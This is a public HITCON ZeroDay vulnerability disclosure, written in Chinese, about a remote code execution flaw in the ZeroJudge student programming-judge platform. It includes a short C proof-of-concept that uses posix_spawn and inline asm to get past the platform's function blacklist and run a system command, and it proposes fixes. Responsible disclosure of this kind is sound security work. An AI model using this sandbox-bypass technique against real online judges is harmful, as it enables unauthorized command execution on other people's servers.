Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00712
- Vendor: 高中生程式解題系統
- Title: ZeroJudge 平台 RCE
- Introduction: 使用者可以利用程式練習 Linux syscall 遠端程式碼執行。
- 感謝函
處理狀態
目前狀態
公開
Last Update : 2024/08/24
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/06/24 00:15:50 : 新提交 (由 ianiiaannn 更新此狀態)
- 2024/06/27 18:00:08 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/07/10 16:43:03 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/07/10 16:43:03 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/24 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00712
- 通報者:ianiiaannn (ianiiaannn)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://zerojudge.tw/ShowProblem?problemid=a001
敘述
平台在接收到使用者上傳程式後的函數黑名單缺少了 spawn.h 的 posix_spawn() 和 posix_spawnp() 以及 GNU C Compiler 提供的 Inline ASM。
另外我測試過使用 C Preprocessor 拼湊 system,但平台掃描的似乎是經過 Preprocessor 處理過的程式。
#include <spawn.h>
int main(int argc, char *argv[]){
posix_spawn(NULL, "/usr/bin/whoami", NULL, NULL, argv, NULL);
__asm__("nop");
// 平台使用 -std=c11 編譯,必須使用 __asm__ 而非 asm
}
附註:我是 Log4Shell 漏洞盛行時一中電腦資訊研究社的網路管理,雖然 Log4J 版本過舊沒有被成功打進來但我當時看著各種花式攻擊 Payload 害怕極了。目前敝社之平台已被資安通報下架,我也有在與學弟溝通協助重建。
修補建議
我後來有寫一個類似性質的專案,解決方法是 Google 使用開發的 [nsjail](https://github.com/google/nsjail) 做 Process isolation,但呼叫 nsjail 的使用者權限必須要有 SYS_ADMIN,若其他部分有 RCE 漏洞將會更加危險。
另外一個可能可行的解法是改 C Library 只保留正常解題會用到的函數。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。